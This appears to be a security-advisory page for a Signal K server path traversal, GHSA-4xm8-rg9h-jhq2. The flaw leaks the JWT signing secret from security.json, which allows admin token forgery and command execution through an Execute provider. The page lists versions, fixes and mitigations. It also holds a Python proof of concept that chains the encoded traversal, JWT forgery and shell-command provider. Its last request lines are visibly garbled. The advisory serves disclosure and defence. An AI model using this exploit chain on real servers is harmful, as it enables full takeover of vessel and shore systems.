Live › vulnerability › GHSA-4xm8-rg9h-jhq2
Signal K server's resources API does not validate resource IDs, so a crafted request reads any JSON file on the server, including the JWT signing secret. With that secret an attacker forges an admin token and adds an Execute provider that runs shell commands.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-30 23:02 UTC. All times on this page are UTC.
Teams that run Signal K server, a marine data server that is often exposed on boats, at shore stations or on networks. Affected versions are signalk-server from 2.0.0 before 2.34.0 and the resources provider from 1.0.0 before 1.5.3. The worst case needs read-only anonymous access (allow_readonly=true), but on default settings any readonly user token also reaches the same traversal.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| signalk-server | npm | >= 2.0.0, < 2.34.0 | 2.34.0 |
| @signalk/resources-provider | npm | >= 1.0.0, < 1.5.3 | 1.5.3 |
npm ls signalk-server and npm ls @signalk/resources-providerallow_readonlyExecute in settings.jsonsignalk-server moves to 2.34.0@signalk/resources-provider moves to 1.5.3Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading <config>/security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution.
The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).
Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:
<config>/security.json — disclosing the JWT signing secret (512-hex) and user password hashes.{"id":"admin"} with the disclosed secret; accepted by /skServer/loginStatus (userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware, src/tokensecurity.ts:593, applied at src/tokensecurity.ts:953).POST /skServer/providers (admin) accepts a provider of type Execute; packages/streams/src/execute.ts:93 executes it via spawn('sh', ['-c', command]) at creation time. The provider persists to settings.json and survives restarts.On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.
resourceId against a strict whitelist (for example, UUID format) in src/api/resources/index.ts before any storage call, including PUT/DELETE.FileStore.getResource/setResource/deleteResource, canonicalise with path.resolve() and reject results outside this.resources[type].path.Execute) behind an explicit opt-in.Fully local testbed. Start the server, enable allow_readonly=true, then run:
#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD = "id > /tmp/sk-pwned"
# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]
# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"
# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
"options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+, data=json.dumps(prov).encode(),
headers={:+tok,:}, method=)
(urllib.request.urlopen(req).read())
Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.
Unauthenticated access (with allow_readonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix
This page as .md · .json · in your agent: get_signal("GHSA-4xm8-rg9h-jhq2")
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.